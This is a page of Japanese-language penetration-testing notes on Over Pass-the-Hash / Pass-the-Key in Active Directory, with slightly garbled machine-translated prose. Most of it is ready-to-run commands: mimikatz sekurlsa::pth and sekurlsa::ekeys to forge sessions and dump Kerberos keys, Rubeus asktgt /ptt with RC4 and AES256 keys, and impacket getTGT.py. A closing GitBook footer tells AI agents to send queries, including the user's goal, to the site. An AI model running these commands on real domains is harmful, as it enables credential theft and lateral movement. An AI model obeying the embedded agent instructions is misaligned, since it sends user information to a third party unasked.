> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).
# Over Pass-the-Hash / Pass-the-Key
Over Pass-the-Hash / Pass-the-KeyのためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。
Kerberos は、以下を含むいくつかの鍵タイプをサポートしています: `RC4`, `AES128`、および `AES256`.
次の `mimikatz`、次のコマンドは新しいセッションを開き、メモリ上の Kerberos コンテキストも変更します。
```bash
./mimikatz.exe
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
このコンテキストが読み込まれたら、次で TGT を要求できます: `Rubeus`.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```
このコマンドはアカウントの TGT を取得し、直接メモリに注入します。
アカウントに対してメモリ上に存在する Kerberos 鍵を確認するには、次を使用できます: `sekurlsa::ekeys`.
```bash
./mimikatz.exe
sekurlsa::ekeys
```
その後、同じ鍵のいくつかの表現を復元します。たとえば、次の形式で `RC4` と次の形式で `AES256`.
その後、AES 鍵で TGT を要求できます。
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```
Linux では、同じ操作を次で行えます: `getTGT.py`.
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
